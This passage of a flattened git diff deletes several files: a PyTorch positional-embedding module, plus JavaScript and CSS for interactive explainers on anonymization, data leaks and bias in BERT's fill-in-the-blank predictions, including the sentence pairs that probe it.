dtype=torch.float32) - x_embed = not_mask.cumsum(2, dtype=torch.float32) - if self.normalize: - eps = 1e-6 - # if os.environ.get("SHILONG_AMP", None) == '1': - # eps = 1e-4 - # else: - # eps = 1e-6 - y_embed = y_embed / (y_embed[:, -1:, :] + eps) * self.scale - x_embed = x_embed / (x_embed[:, :, -1:] + eps) * self.scale - - dim_t = torch.arange(self.num_pos_feats, dtype=torch.float32, device=x.device) - dim_t = self.temperature ** (2 * (dim_t // 2) / self.num_pos_feats) - - pos_x = x_embed[:, :, :, None] / dim_t - pos_y = y_embed[:, :, :, None] / dim_t - pos_x = torch.stack( - (pos_x[:, :, :, 0::2].sin(), pos_x[:, :, :, 1::2].cos()), dim=4 - ).flatten(3) - pos_y = torch.stack( - (pos_y[:, :, :, 0::2].sin(), pos_y[:, :, :, 1::2].cos()), dim=4 - ).flatten(3) - pos = torch.cat((pos_y, pos_x), dim=3).permute(0, 3, 1, 2) - return pos - - -class PositionEmbeddingSineHW(nn.Module): - """ - This is a more standard version of the position embedding, very similar to the one - used by the Attention is all you need paper, generalized to work on images. - """ - - def __init__( - self, num_pos_feats=64, temperatureH=10000, temperatureW=10000, normalize=False, scale=None - ): - super().__init__() - self.num_pos_feats = num_pos_feats - self.temperatureH = temperatureH - self.temperatureW = temperatureW - self.normalize = normalize - if scale is not None and normalize is False: - raise ValueError("normalize should be True if scale is passed") - if scale is None: - scale = 2 * math.pi - self.scale = scale - - def forward(self, tensor_list: NestedTensor): - x = tensor_list.tensors - mask = tensor_list.mask - assert mask is not None - not_mask = ~mask - y_embed = not_mask.cumsum(1, dtype=torch.float32) - x_embed = not_mask.cumsum(2, dtype=torch.float32) - - # import ipdb; ipdb.set_trace() - - if self.normalize: - eps = 1e-6 - y_embed = y_embed / (y_embed[:, -1:, :] + eps) * self.scale - x_embed = x_embed / (x_embed[:, :, -1:] + eps) * self.scale - - dim_tx = torch.arange(self.num_pos_feats, dtype=torch.float32, device=x.device) - dim_tx = self.temperatureW ** (2 * (torch.div(dim_tx, 2, rounding_mode='floor')) / self.num_pos_feats) - pos_x = x_embed[:, :, :, None] / dim_tx - - dim_ty = torch.arange(self.num_pos_feats, dtype=torch.float32, device=x.device) - dim_ty = self.temperatureH ** (2 * (torch.div(dim_ty, 2, rounding_mode='floor')) / self.num_pos_feats) - pos_y = y_embed[:, :, :, None] / dim_ty - - pos_x = torch.stack( - (pos_x[:, :, :, 0::2].sin(), pos_x[:, :, :, 1::2].cos()), dim=4 - ).flatten(3) - pos_y = torch.stack( - (pos_y[:, :, :, 0::2].sin(), pos_y[:, :, :, 1::2].cos()), dim=4 - ).flatten(3) - pos = torch.cat((pos_y, pos_x), dim=3).permute(0, 3, 1, 2) - - # import ipdb; ipdb.set_trace() - - return pos - - -class PositionEmbeddingLearned(nn.Module): - """ - Absolute pos embedding, learned. - """ - - def __init__(self, num_pos_feats=256): - super().__init__() - self.row_embed = nn.Embedding(50, num_pos_feats) - self.col_embed = nn.Embedding(50, num_pos_feats) - self.reset_parameters() - - def reset_parameters(self): - nn.init.uniform_(self.row_embed.weight) - nn.init.uniform_(self.col_embed.weight) - - def forward(self, tensor_list: NestedTensor): - x = tensor_list.tensors - h, w = x.shape[-2:] - i = torch.arange(w, device=x.device) - j = torch.arange(h, device=x.device) - x_emb = self.col_embed(i) - y_emb = self.row_embed(j) - pos = ( - torch.cat( - [ - x_emb.unsqueeze(0).repeat(h, 1, 1), - y_emb.unsqueeze(1).repeat(1, w, 1), - ], - dim=-1, - ) - .permute(2, 0, 1) - .unsqueeze(0) - .repeat(x.shape[0], 1, 1, 1) - ) - return pos - - -def build_position_encoding(args): - N_steps = args.hidden_dim // 2 - if args.position_embedding in ("v2", "sine"): - # TODO find a better way of exposing other arguments - position_embedding = PositionEmbeddingSineHW( - N_steps, - temperatureH=args.pe_temperatureH, - temperatureW=args.pe_temperatureW, - normalize=True, - ) - elif args.position_embedding in ("v3", "learned"): - position_embedding = PositionEmbeddingLearned(N_steps) - else: - raise ValueError(f"not supported {args.position_embedding}") - - return position_embedding diff --git a/spaces/merve/anonymization/public/anonymization/make-sel.js b/spaces/merve/anonymization/public/anonymization/make-sel.js deleted file mode 100644 index 3b35b931008be7afe990694afdf232d05d5f4ee2..0000000000000000000000000000000000000000 --- a/spaces/merve/anonymization/public/anonymization/make-sel.js +++ /dev/null @@ -1,78 +0,0 @@ -window.makeSel = function(){ - function ttFmt(d){ - var ttSel = d3.select('.tooltip').html('') - - var ageStr = d.age + ' year old' - if (slides.curSlide.index == 4){ - ageStr = ageStr + ' born in the ' + ['spring', 'summer', 'fall', 'winter'][d.season] - } - ttSel.append('div').html(` - ${ageStr} from ${d.state} who - ${d.plagerized ? - 'plagiarized' : - 'never plagiarized'} - `) - - if (slides.curSlide.index < 6) return - - var isHeads = d.coinVals[estimates.active.index] < sliders.headsProb - ttSel.append('div').html(` - They flipped - ${isHeads ? 'heads' : 'tails'} - and said they had - ${d.plagerized || isHeads ? - 'plagiarized' : - 'never plagiarized'} - `) - .st({marginTop: 10}) - } - - var rectAt = {} - var rs = (axii.bw - 10)*2 - rectAt.ageState = {width: rs, height: rs, x: -rs/2, y: -rs/2} - var uniqueBox = c.svg.appendMany('rect.unique.init-hidden', students.byAgeState.filter(d => d.length == 1)) - .translate(d => d.pos) - .at(rectAt.ageState) - - var rs = axii.bw/4 + 5.5 - rectAt.ageStateSeason = {width: rs, height: rs, x: Math.round(-rs/2), y: 4} - var uniqueSeasonBox = c.svg.appendMany( - 'rect.unique.init-hidden', - students.byAgeStateSeason.filter(d => d.length == 1 && d[0].group.ageState.length > 1)) - .translate(d => d.pos) - .at(rectAt.ageStateSeason) - - // number of uniquely id'd students - // console.log(uniqueSeasonBox.size()) - - var studentGroup = c.svg.append('g') - .at({width: 500, height: 500}) - - var student = studentGroup.appendMany('g.student', students.all) - .call(d3.attachTooltip) - .on('mouseover', ttFmt) - .translate(d => d.isAdditionalStudent ? [0,0]: d.pos.grid) - .classed('inactive', d => d.isAdditionalStudent) - - var rs = 16 - var flipCircle = student.append('circle') - .at({transform: 'scale(.1)'}) - .at({r: 9, fill: '#fff'}) - .at({stroke: '#b0b' }) - - var circle = student.append('circle').at({ - r: 5, - fill: d => d.plagerized ? '#f0f' : '#ccc', - stroke: d => d.plagerized ? '#b0b' : '#aaa', - strokeWidth: 1, - }) - - - - addSwoop(c) - - return {student, studentGroup, circle, flipCircle, rectAt, uniqueBox, uniqueSeasonBox} -} - - -if (window.init) window.init() diff --git a/spaces/merve/anonymization/server-side/fill-in-the-blank/scatter-plot-colab/spearman-distribution/watch-files.js b/spaces/merve/anonymization/server-side/fill-in-the-blank/scatter-plot-colab/spearman-distribution/watch-files.js deleted file mode 100644 index 25d1fcfe5b17fa1e63323e0389379264463572af..0000000000000000000000000000000000000000 --- a/spaces/merve/anonymization/server-side/fill-in-the-blank/scatter-plot-colab/spearman-distribution/watch-files.js +++ /dev/null @@ -1,88 +0,0 @@ -/* Copyright 2021 Google LLC. All Rights Reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -==============================================================================*/ - - - -!(function(){ - function watchFile(path){ - var lastStr = '' - - console.log(path) - function check(){ - d3.text(path + '?' + Math.random(), (err, nextStr) => { - if (err){ - console.log(err) - return check() - } - - if (nextStr == lastStr) return - lastStr = nextStr - - if (path.includes('.js')){ - // console.log('js', new Date()) - Function(nextStr.replace('\n', ';').replace('\n', ';'))() - } - - if (path.includes('.css')){ - // console.log('css', new Date()) - - Array.from(document.querySelectorAll('link')) - .filter(d => d.href.includes(path) || d.href.includes('__hs_placeholder')) - .filter((d, i) => i == 0) - .forEach(d => d.href = path + '?' + Math.random()) - - throw 'up' - } - }) - - if (python_settings.isDev) setTimeout(check, 100) - } - check() - } - - ;[ - '../spearman-compare/list.css', - 'style.css', - '../two-sentences/init-scatter.js', - '../two-sentences/init-util.js', - '../two-sentences/init-pair.js', - 'init.js' - ].forEach(filename => { - var root = document.currentScript.src.replace('watch-files.js', '').split('?')[0] - var path = root + filename - console.log(filename) - - if (python_settings.isDev){ - watchFile(path) - } else { - - if (path.includes('.js')){ - var node = document.createElement('script') - node.setAttribute('src', path) - document.body.appendChild(node) - } - - if (path.includes('.css')){ - Array.from(document.querySelectorAll('link')) - .filter(d => d.href.includes(path) || d.href.includes('__hs_placeholder')) - .filter((d, i) => i == 0) - .forEach(d => d.href = path + '?' + Math.random()) - } - } - }) -})() - - - diff --git a/spaces/merve/data-leak/public/third_party/index.js b/spaces/merve/data-leak/public/third_party/index.js deleted file mode 100644 index e070ccfa3ac2645f9431b1e4dbee36e81692574d..0000000000000000000000000000000000000000 --- a/spaces/merve/data-leak/public/third_party/index.js +++ /dev/null @@ -1,74 +0,0 @@ -// https://github.com/1wheel/roadtolarissa Copyright 2018 Adam Pearce - -var fs = require('fs') -var {exec, execSync} = require('child_process') - -var source = `${__dirname}/../../source` -var public = `${__dirname}/../../public` -if (!fs.existsSync(public)) fs.mkdirSync(public) - -function rsyncSource(){ - exec(`rsync -a --exclude _posts --exclude _templates ${source}/ ${public}/`) -} -rsyncSource() - -var hljs = require('highlight.js') -var marked = require('marked') -marked.setOptions({ - highlight: (code, lang) => hljs.highlight(lang || 'html', code).value, - smartypants: true -}) - -var templates = {} -readdirAbs(`${source}/_templates`).forEach(path => { - var str = fs.readFileSync(path, 'utf8') - var templateName = path.split('_templates/')[1] - templates[templateName] = d => eval('`' + str + '`') -}) - -function readdirAbs(dir){ return fs.readdirSync(dir).map(d => dir + '/' + d) } - -var posts = readdirAbs(`${source}/_posts`) - .filter(d => !d.includes('.DS_Store')) - .map(parsePost) - -fs.writeFileSync(public + '/rss.xml', templates['rss.xml'](posts)) -fs.writeFileSync(public + '/sitemap.xml', templates['sitemap.xml'](posts)) - -function parsePost(path){ - var str = fs.readFileSync(path, 'utf8') - if (str[0] == '<') str = str.split('License.\n-->')[1] - var [top, body] = str - .replace('---\n', '') - .split('\n---\n') - - console.log(path) - - var post = {html: path.includes('.html') ? body : marked(body)} - top.split('\n').forEach(line => { - var [key, val] = line.split(/: (.+)/) - post[key] = val - }) - - return post -} - -function writePost(post){ - var dir = public + post.permalink - if (!fs.existsSync(dir)) execSync(`mkdir -p ${dir}`) - fs.writeFileSync(`${dir}/index.html`, templates[post.template](post)) - - var outposts = JSON.parse(JSON.stringify(posts)) - outposts.forEach(d => delete d.html) - fs.writeFileSync(public + '/posts.json', JSON.stringify(outposts, null, 2)) - - -} -posts.forEach(writePost) - -if (process.argv.includes('--watch')){ - require('chokidar').watch(source).on('change', path => { - rsyncSource() - if (path.includes('_posts/')) writePost(parsePost(path)) - }) -} diff --git a/spaces/merve/fill-in-the-blank/source/hidden-bias/style.css b/spaces/merve/fill-in-the-blank/source/hidden-bias/style.css deleted file mode 100644 index 4b0d163f9dc4af367dc0b84036c5e177b8f4db0b..0000000000000000000000000000000000000000 --- a/spaces/merve/fill-in-the-blank/source/hidden-bias/style.css +++ /dev/null @@ -1,275 +0,0 @@ -/* Copyright 2020 Google LLC. All Rights Reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -==============================================================================*/ - -.tooltip { - top: -1000px; - position: fixed; - padding: 10px; - background: rgba(255, 255, 255, .90); - border: 1px solid lightgray; - pointer-events: none; - font-family: monospace; - font-size: 14px; - width: 170px; -} -.tooltip-hidden{ - opacity: 0; - transition: all .3s; - transition-delay: .1s; -} - -@media (max-width: 590px){ - div.tooltip{ - bottom: -1px; - width: calc(100%); - left: -1px !important; - right: -1px !important; - top: auto !important; - width: auto !important; - } -} - -/* Ensure the last panel can be activated on tall screens */ -@media (min-height: 1700px){ - #container{ - margin-bottom: 900px; - } -} - -.tooltip span{ - padding: 2px; -} - -svg{ - overflow: visible; -} - -.domain{ - display: none; -} - -text{ - /*pointer-events: none;*/ - text-shadow: 0 1px 0 #fff, 1px 0 0 #fff, 0 -1px 0 #fff, -1px 0 0 #fff; -} - - - - - - -#container{ - position: relative; - width: auto; -} - -#container h3{ - font-weight: 500; -} - -#sections{ - width: 340px; -} - -#sections > div{ - background: white; - opacity: .2; - margin-bottom: 200px; - line-height: 1.4em; -} -#sections > div:last-child{ - padding-bottom: 80vh; -} -#sections > div.graph-scroll-active{ - opacity: 1; -} - -#graph{ - margin-left: 40px; - width: 500px; - position: -webkit-sticky; - position: sticky; - top: 0px; - float: right; -} - -@media (max-width: 925px) { - #graph{ - width: 100%; - margin-left: 0px; - float: none; - } - - #sections{ - width: auto; - position: relative; - margin: 0px auto; - } - - #sections > div{ - background: rgba(255,255,255,.5); - padding: 10px; - border-top: 1px solid; - border-bottom: 1px solid; - margin-bottom: 80vh; - } -} - - -.mono{ - font-family: monospace; -} - - -svg{ - overflow: visible; -} - - - - -.axis{ - font-size: 12px; -} -.axis{ - color: #999; -} -.axis text{ - fill: #999; -} -.axis line{ - stroke: #ccc; -} - -div.axis b{ - margin-bottom: 100px; - display: block; -} - -.axis .blink{ - color: orange; -} - - - - - - -.highlight{ - color: #fff; - padding-left: 3px; - padding-right: 3px; - padding-top: 1px; - padding-bottom: 1px; - border-radius: 3px; -} - -/*.highlight.blue{ background: blue; }*/ -/*.highlight.orange{ background: orange; }*/ -.highlight.yellow{ background: #ff0; color: #000; } -.highlight.blue{ background: #8effff; color: #000; } -.highlight.male{ background: #7DDAD3; color: #000; } -.highlight.female{ background: #9B86EF; color: #000; } - -.annotation .highlight{ - padding: 0px; - padding-left: 2px; - padding-right: 2px; - margin-left: -2px; - margin-right: -2px; - border-radius: 3px; - /*height: 12px;*/ - display: inline-block; -} - - -#graph .highlight.yellow, #graph .highlight.blue{ - padding-left: 0px; - padding: 0px; -} - - -.circle{ - background: #eee; - border: 1px solid #ccc; - font-family: monospace; - padding-left: 4.2px; - padding-right: 4.2px; - padding-top: 0px; - padding-bottom: 0px; - - border-radius: 1000px; - width: 20px; - height: 20px; -} - - -.strikethrough{ - text-decoration: line-through; - color: #000; -} - - -.annotation div{ - font-size: 12px; - line-height: 13px; - font-family: 'Google Sans', sans-serif; -} - - -.annotations path{ - fill: none; - stroke: black; - stroke-width: .5px; -} - - -.img-slide img{ - width: 30px; - transform: rotate(-90deg); - margin-left: -10px; - margin-right: -4px; - position: relative; - top: 5px; -} - -.img-slide img:nth-of-type(1){ - transform: rotate(90deg); - margin-left: -10px; - margin-right: -4px; - top: 0px; -} - - - - - -div.axis b{ - margin-bottom: 0px; -} - -div.axis{ - line-height: 14px; -} - - -circle:hover{ - stroke: #000; - stroke-width: 2; -} - - - - diff --git a/spaces/merve/hidden-bias/public/fill-in-the-blank/init.js b/spaces/merve/hidden-bias/public/fill-in-the-blank/init.js deleted file mode 100644 index 2e61759b05c45666ac2013000d8c4da1bc367630..0000000000000000000000000000000000000000 --- a/spaces/merve/hidden-bias/public/fill-in-the-blank/init.js +++ /dev/null @@ -1,426 +0,0 @@ -/* Copyright 2021 Google LLC. All Rights Reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -==============================================================================*/ - -window.ttSel = d3.select('body').selectAppend('div.tooltip.tooltip-hidden') - -window.palette = function palette(min, max){ - // https://blocks.roadtolarissa.com/1wheel/raw/94091c1f8a69d5966e48aef4ac19baf9/index.html?colors=00006e-006a78-00a963-8a8a8a-d5882a-a15142-7f0000&numTicks=255&space=lab&type=basis - var colors = ['#00006e', '#00006e', '#00006f', '#00006f', '#00006f', '#000070', '#000070', '#000170', '#000471', '#000871', '#000b71', '#000f72', '#001272', '#001572', '#001872', '#001b73', '#001e73', '#002173', '#002473', '#002674', '#002974', '#002c74', '#002e74', '#003174', '#003375', '#003675', '#003975', '#003b75', '#003e75', '#004075', '#004375', '#004575', '#004775', '#004a75', '#004c75', '#004f75', '#005175', '#005375', '#005675', '#005875', '#005a75', '#005c75', '#005e75', '#006175', '#006375', '#006574', '#006774', '#006974', '#006b74', '#006d74', '#006f73', '#007173', '#007373', '#007473', '#007672', '#007872', '#007a72', '#007b72', '#007d71', '#007f71', '#008071', '#008270', '#008370', '#008570', '#008670', '#00886f', '#00896f', '#008a6f', '#008c6f', '#008d6e', '#008e6e', '#008f6e', '#00906e', '#00916e', '#00926d', '#00936d', '#00946d', '#00956d', '#00966d', '#00976d', '#00976d', '#00986d', '#00996d', '#00996d', '#009a6d', '#009a6e', '#009b6e', '#009b6e', '#009b6e', '#079c6f', '#119c6f', '#189c6f', '#1e9c70', '#249c70', '#289c70', '#2d9c71', '#319c71', '#359c71', '#399c72', '#3c9c72', '#409c73', '#439c73', '#479b74', '#4a9b74', '#4d9b74', '#509b75', '#539a75', '#569a76', '#599976', '#5c9976', '#5f9976', '#629877', '#659877', '#679777', '#6a9777', '#6d9677', '#6f9678', '#729578', '#749578', '#779478', '#799477', '#7c9377', '#7e9377', '#819277', '#839277', '#859176', '#889176', '#8a9175', '#8c9075', '#8e9074', '#908f73', '#938f73', '#958e72', '#978e71', '#998e70', '#9b8d6f', '#9d8d6e', '#9f8d6d', '#a08c6c', '#a28c6b', '#a48c69', '#a68b68', '#a88b67', '#a98b65', '#ab8a64', '#ac8a63', '#ae8a61', '#af8960', '#b1895f', '#b2895d', '#b4885c', '#b5885a', '#b68859', '#b78757', '#b88756', '#b98755', '#ba8653', '#bb8652', '#bc8550', '#bd854f', '#be854d', '#bf844c', '#bf844b', '#c0834a', '#c08348', '#c18247', '#c18246', '#c28145', '#c28044', '#c28043', '#c27f42', '#c27e41', '#c37e40', '#c27d3f', '#c27c3f', '#c27b3e', '#c27a3d', '#c27a3d', '#c1793c', '#c1783c', '#c1773c', '#c0763b', '#c0753b', '#bf743a', '#bf733a', '#be713a', '#bd703a', '#bd6f39', '#bc6e39', '#bb6d39', '#bb6b38', '#ba6a38', '#b96938', '#b86737', '#b76637', '#b76537', '#b66336', '#b56236', '#b46035', '#b35e35', '#b25d34', '#b15b34', '#b05933', '#af5833', '#ae5632', '#ad5431', '#ad5230', '#ac502f', '#ab4e2f', '#aa4c2e', '#a94a2c', '#a8482b', '#a7462a', '#a64429', '#a54127', '#a43f26', '#a33d24', '#a33a23', '#a23721', '#a1351f', '#a0321e', '#9f2f1c', '#9e2c1a', '#9d2818', '#9c2516', '#9c2114', '#9b1d11', '#9a180f', '#99120d', '#980b0a', '#970207', '#960004', '#950001', '#940000', '#930000', '#920000', '#910000', '#900000', '#8f0000', '#8e0000', '#8e0000', '#8d0000', '#8c0000', '#8b0000', '#8a0000', '#890000', '#880000', '#870000', '#860000', '#850000', '#840000', '#830000', '#820000', '#810000', '#800000'] - - return v => { - var i = d3.clamp(0, (v - min)/(max - min), 1) - return colors[Math.round(i*(colors.length - 1))] - } - - // https://gka.github.io/palettes/#/99|d|00429d,96ffea,d1ea00|d1ea00,ff005e,93003a|1|1 - // https://gka.github.io/palettes/#/99|d|00429d,96ffea,f1f1d2|f1f1d2,ff005e,93003a|1|1 - //https://gka.github.io/palettes/#/99|d|00429d,76dfca,d1d1b3|d1d1b3,a787a8,93003a|1|1 - // https://gka.github.io/palettes/#/99|d|76dfca,00429d,000000|000000,93003a,ff005e|1|1 - - // https://gka.github.io/palettes/#/99|d|078977,91a5ff,555555|555555,e2bfe3,980000|0|1 - // https://gka.github.io/palettes/#/99|d|002854,a1ffe1,555555|555555,ffa361,980000|0|1 - // https://gka.github.io/palettes/#/99|d|002854,a1ffe1,616161|616161,f47e2a,9e005c|0|1 - // var nMid = 13 - // var midIndex = Math.floor(colors.length/2) - // var minIndex = midIndex - (nMid - 1)/2 - // var maxIndex = midIndex + (nMid - 1)/2 - // var interpolate = d3.interpolate(colors[minIndex], colors[maxIndex]) - - // d3.range(minIndex, maxIndex + 1).forEach(i => { - // colors[i] = interpolate((i - minIndex)/nMid) - // }) - - // return d => { - // var rv = d3.interpolateGreys(d/2 + 2/2) - // if (rv == 'rgb(255, 255, 255)') rv = 'rgb(254, 254, 254)' - // return rv - // } - -} -window.util = { - palette, - color: d3.interpolateSpectral, - color: palette(0, 1), -} -window.util.colors = [1 - .25, .25].map(util.color) -window.util.colors.push('#aaaa00') - -!(function(){ - var memo = {} - - util.color2array = d => { - if (memo[d]) return memo[d] - - var {r, g, b} = d3.color(d).rgb() - return memo[d] = [r, g, b].map(v => v/255) - } -})() - - -// add colors to inline elements -!(function(){ - d3.selectAll('c0').st({fontWeight: 600, color: util.colors[0]}) - d3.selectAll('c1').st({fontWeight: 600, color: util.colors[1]}) - d3.selectAll('c2').st({fontWeight: 600, color: util.colors[2]}) -})() - - - -window.pairs = [ - { - class: 'texas-ohio', - s0: 'In New York, they like to buy _.', - s1: 'In Texas, they like to buy _.', - count: 30, - annotations: [ - { - str: 'BERT associates these potential purchases more with Texas
            than New York...', - pos: [15, 15], - color: util.colors[1] - }, - { - str: '...and these purchases
            more with New York
            than Texas', - pos: [290, 305], - color: util.colors[0] - }, - ], - ariaLabel: 'Scatter plot of differences in purchases between New York and Texas. Oil, cotten and land are associated more with Texas; Pictures and perfume are more associated with New York', - alts: [ - { - str: 'Ireland v. Australia', - s1: 'We went to Ireland and bought a _.', - s0: 'We went to Australia and bought a _.', - }, - { - str: 'Arctic v. Equator', - s1: 'Near the Arctic, they like to buy _.', - s0: 'Near the equator, they like to buy _.', - }, - { - str: 'Coast v. Plains', - s1: 'On the coast, they like to buy _.', - s0: 'On the plains, they like to buy _.', - }, - { - str: 'Narnia v. Gotham', - s1: 'In Narnia, they bought a _.', - s0: 'In Gotham, they bought a _.', - }, - { - str: 'Supermarket v. Mall', - s1: 'At the supermarket, they like to buy _.', - s0: 'At the mall, they like to buy _.', - }, - // { - // str: 'Train v. Plane', - // s1: 'At the airport, they like to buy _.', - // s0: 'At the bus depot, they like to buy _.', - // }, - // { - // str: 'buy v. sell', - // s0: 'They like to buy _.', - // s1: 'We like to buy _.', - // }, - // { - // str: 'Paris v. London', - // s1: 'In Paris, they like to buy _.', - // s0: 'In London, they like to buy _.', - // }, - ] - // type: 'Differences', - }, - { - class: 'age-name', - s0: 'Elsie was born in the year of _.', - s1: 'Lauren was born in the year of _.', - count: 200, - ariaLabel: 'Scatter plot of differences in birth years between Elsie and Lauren.', - }, - { - class: 'jim-jane', - s0: 'Jim worked as a _.', - s1: 'Jane worked as a _.', - count: 30, - ariaLabel: 'Scatter plot of differences in occupations between Jim and Jane. Salesmen, carpenter and mechanic are more associated with Jim; Nurse, secretary and modal are more associated with Jane.', - }, - { - class: 'nurse-name', - s0: 'The new nurse was named _.', - s1: 'The new doctor was named _.', - count: 30, - ariaLabel: 'Scatter plot of differences in doctor and nurse names. David, Michael and himself are more associated with doctors; Jean, Sarah and Catherine are more associated with nurses.', - - }, - { - class: 'nurse-name-zari-cda', - s0: 'The new nurse was named _.', - s1: 'The new doctor was named _.', - s0: 'The doctor performed CPR even though _ knew it was too late.', - s1: 'The nurse performed CPR even though _ knew it was too late.', - s0model: '_zari_cda', - s1model: '_zari_cda', - showModel: true, - count: 30, - ariaLabel: 'Scatter plot of differences in doctor and nurse names in the Zari model. He and she are equally associated with both. But Jack, Logan and Andrew are more associated with doctors; Emily, Rachel and Amy are more associated with nurses.', - }, - { - class: 'interesting-pair', - s1: '_ flavored ice cream is tasty.', - s0: '_ flavored ice cream is revolting.', - count: 30, - alts: [ - { - str: 'Dangerous animals', - s1: '_ is a [friendly|dangerous] animal', - s0: '_ is a [friendly|dangerous] animal', - }, - ] - } -] - -pairs.forEach(d => { - d.count = d.count || 200 - d.s0model = d.s0model || '' - d.s1model = d.s1model || '' - d.annotations = d.annotations || [] - d.model = d.s0model ? 'Zari' : 'BERT' - d.type = d.type || 'Likelihoods' - d.pairStr = JSON.stringify(d) -}) -// pairs = [window.pairs[1]] - - -var diffs = [ - { - s0: 'In [Texas|Paris], [Men|Women] like to buy _.', - s0: 'Born in [1940|2018], [his|her] name was _.', - s0: 'In [1908|2018], [he|she] was employed as a _.', - class: 'difference-difference', - count: 1000, - annotations: [], - model: 'BERT', - type: 'Likelihoods', - ariaLabel: 'Small multiple difference in difference plots.', - } -] - -diffs.forEach(d => { - d.pairStr = JSON.stringify(d) -}) - - -window.sents = [ - { - class: 'hamlet', - str: 'To be or not to be, that is the question;', - }, -] -sents.push({class: 'texas', str: pairs[0].s1.replace('_', 'things')}) -sents.push({class: 'new-york', str: pairs[0].s0.replace('_', 'things')}) - - -window.init = async function(){ - try { window.regltick.cancel() } catch (e) {} - - if (!window.tokenizer){ - window.tokenizer = new BertTokenizer() - await tokenizer.load() - } - - if (!window.bertLargeVocab){ - var text = await (await fetch('data/bert_large_vocab.txt')).text() - window.bertLargeVocab = text - .split('\n') - } - - sents.forEach(initSent) - sleep(10) - - pairs.forEach(initPair) - sleep(500) - window.initGenderOverTime() - - - // Skip rendering differene in difference until scrolled into view - var renderDiffDiff = false - var observer = new IntersectionObserver(entries => { - entries.forEach(d => { - if (renderDiffDiff || !d.isIntersecting) return - - initDiff(diffs[0]) - renderDiffDiff = true - }) - }, {}) - observer.observe(d3.select('.difference-difference').node()) - if (renderDiffDiff) initDiff(diffs[0]) - - - function sleep(ms) { - return new Promise(resolve => setTimeout(resolve, ms)) - } -} - -// Run init, rerun when width changes -!(function(){ - var lastInnerWidth = null - - function resize(){ - if (lastInnerWidth == window.innerWidth) return - lastInnerWidth = window.innerWidth - - window.init() - } - resize() - d3.select(window).on('resize', _.debounce(resize, 500)) -})() - -// Hamlet text entry -!(function(){ - var sel = d3.select('.hamlet-edit').html('') - .st({textAlign: 'center', marginTop: 17}) - .on('keydown', function(){ - sel.classed('changed', 1) - if (d3.event.keyCode != 13) return - d3.event.preventDefault() - - update() - }) - - var sent = sents[0] - - var inputSel = sel.append('textarea').at({cols: 30}) - inputSel.node().value = sent.str - - // sel.append('div') - sel.append('button.button.update').on('click', update).text('Update Sentence') - .st({width: 140, height: 47, marginLeft: 20, marginTop: 0, top: -19, marginRight: 0}) - - - function update(){ - sent.str = inputSel.node().value - - sel.classed('changed', 0) - initSent(sent) - } -})() - - -window.addLockedTooltip = function(sel){ - sel - .on('mouseover', function(d, i){ - ttSel - .html(d) - .select('.footend').remove() - - var x = this.offsetLeft, - y = this.offsetTop, - bb = ttSel.node().getBoundingClientRect(), - left = d3.clamp(20, (x-bb.width/2), window.innerWidth - bb.width - 20), - top = innerHeight + scrollY > y + 20 + bb.height ? y + 20 : y - bb.height - 10; - - ttSel.st({left, top}).classed('tooltip-hidden', false) - }) - - sel.on('mousemove',mouseover).on('mouseout', mouseout) - ttSel.on('mousemove', mouseover).on('mouseout', mouseout) - function mouseover(){ - if (window.__ttfade) window.__ttfade.stop() - } - function mouseout(){ - if (window.__ttfade) window.__ttfade.stop() - window.__ttfade = d3.timeout(() => { - ttSel.classed('tooltip-hidden', true) - }, 250) - } -} - -// Footnotes -!(function(){ - var footnums = '¹²³⁴⁵⁶⁷⁸⁹' - - var footendSel = d3.selectAll('.footend') - .each(function(d, i){ - var sel = d3.select(this) - var ogHTML = sel.parent().html() - sel - .at({href: '#footstart-' + i, id: 'footend-' + i}) - .text(footnums[i]) - .datum(ogHTML) - }) - - - var footstartSel = d3.selectAll('.footstart') - .each(function(d, i){ - d3.select(this) - .at({ - href: '#footend-' + i, - }) - .text(footnums[i]) - .datum(footendSel.data()[i]) - .parent().at({id: 'footstart-' + i}) - }) - .call(addLockedTooltip) - -})() - - - - - - - -// // Populate interesting alts -// !(() => { -// var listSel = d3.select('.interesting-list').st({display: 'none'}) - -// var listStr = listSel.text() - -// _.last(pairs).alts = listStr.split('-').map(d => d.trim()).filter(d => d).map(rawStr => { -// var start = rawStr.split('[')[0] -// var end = rawStr.split(']')[1] - -// var [t0, t1] = rawStr.split('[')[1].split(']')[0].split('|') -// var s0 = start + t0 + end -// var s1 = start + t1 + end - -// var str = `
            ${start} -// ${t1}|${t0} -// ${end}
            `.replace('_', '____') - -// return {str, s0, s1} -// }) -// })() - -// // Populate difference in difference -// !(() => { -// var listSel = d3.select('.difference-difference-list').st({display: 'none'}) - -// var listStr = listSel.text() - -// diffs[0].alts = listStr.split('-').map(d => d.trim()).filter(d => d).map(rawStr => { -// var start = rawStr.split('[')[0] -// var end = rawStr.split(']')[1] - -// var [t0, t1] = rawStr.split('[')[1].split(']')[0].split('|') -// var s0 = start + t0 + end -// var s1 = start + t1 + end - -// var str = `
            ${rawStr}
